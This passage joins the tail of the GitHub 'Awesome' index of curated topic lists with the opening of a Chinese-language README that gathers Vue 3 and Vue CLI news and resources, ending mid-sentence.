[Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games. - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. ## Related - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.

<p align="center"> <img src="https://github.com/vue3/vue3-News/raw/master/asset/vue3-news-logo.png" alt="vue3-News" title="vue3-News"> </p> <p align="center"> <img src="https://img.shields.io/badge/2023+-【何以解忧，唯有暴富】-red.svg?style=for-the-badge&logo=angellist"> </p> <p align="center"> <img src="https://img.shields.io/badge/vue-3+-3eaf7c.svg?style=flat-square&logo=vue.js" /> <img src="https://img.shields.io/badge/vueCLI-3+-orange.svg?style=flat-square&logo=vue.js" /> <img src="https://img.shields.io/badge/vue3-UI-ff69b4.svg?style=flat-square&logo=vue.js" /> <img src="https://img.shields.io/badge/license-MIT-ccc.svg?style=flat-square&logo=reliance-industries-limited" /> <img src="https://img.shields.io/github/stars/vue3/vue3-News?style=flat-square&logo=github" /> </p> # Vue3+ & Vue-CLI3+ 开发生态圈资讯 <!-- // 0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ --> 🚀 欢迎`Star`，后续会不断更新。 🇨🇳 最后更新日期：2️⃣0️⃣2️⃣3️⃣ 🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳 2023 年您好，(_´▽ ｀)ノノ_)，继续前行！ 【2023】 ≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡-------------- 【2024】 2020/2021/2022 年再见ヾ(￣ ▽ ￣)Bye~Bye~，感谢自己！ 【2020】 ≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡ 【2023】 Twitter vue3: **vue 3 will be available by the end of Q2.**(done) 第四届 Vue.js 开发者大会由 Vue.js 官方举办，于 2021 年 05 月 22 日在杭州正式开启。本次大会将主要采用在线直播方式与大家呈现，线下会有听少量听众席位！[w3ctech](https://vue.w3ctech.com/) **[VueConf 2021 PPT & Video](https://www.yuque.com/vueconf/mkwv0c)** 2020 年 9 月 18 日星期五，Vue 的作者尤雨溪发表主题演讲，正式发布 Vue3.0 并回应一些大家关切的问题。表示不建议大家立刻升级到 Vue3.0 版本，之前项目中某些依赖项可能还不支持新版，等社区完善后再进行迁移也不迟。 Vue3.0 正式发布，尤雨溪在线全球发布会：【[戳这里](https://mp.weixin.qq.com/s/ZECNJYe1_zNwdX9tUWnMFA?content_source_url=https://github.com/vue3/vue3-News)】 想了解更多有关 Vue 3.0 的信息，请大胆访问：[v3.vuejs.org](https://v3.vuejs.org/?content_source_url=https://github.com/vue3/vue3-News) 除了单独 Vue3 资讯，欢迎查看更多 vue.js 资讯：【[【🔥Vue.js 资讯 📚】目前 web 前端开发非常火爆的框架；定时更新，欢迎 Star 一下。](https://github.com/itemsets/vue2)】 欢迎 ━(_｀ ∀´_)ノ亻! 各位大佬们前来玩耍！！！ ## 目录 - [2021 => 我最棒(๑•̀ㅂ•́)و✧](#我是要成为海贼王的男人) - [新年新气象](#新年新气象) - [撸 vue3 的霸气姿势](#-撸-vue3-的姿势-) - [Vue 3 Cheat Sheet](#Vue3-CheatSheet) - [再谈 vue3](#再谈vue3) - [尤大推出`vue3 beta`之后](#尤大推出vue3-beta之后) - [迎接 Vue3.0 系列](#迎接Vue3.0系列) - [最新资讯-继续前进 ╰(_°▽°_)╯](#最新资讯-继续前进) - [英文资料](#英文资料) - [2019 年中旬](#2019年中旬) - [2019 年上旬](#2019年上旬) - [2018 年预告](#2018年预告) **🐣 关于旧版本** Vue CLI 的包名称由 vue-cli 改成了 @vue/cli。 如果你已经全局安装了旧版本的 vue-cli (1.x 或 2.x)，你需要先通过 npm uninstall vue-cli -g 或 yarn global remove vue-cli 卸载它。 **🐥Node 版本要求** Vue CLI 需要 Node.js 8.9 或更高版本 (推荐 8.11.0+)。你可以使用 nvm 或 nvm-windows 在同一台电脑中管理多个 Node 版本。 **🐓Vue 3.0 源代码** 当大多数国人还在庆祝国庆节的时候，尤雨溪大大在昨天凌晨发布了 Vue 3.0 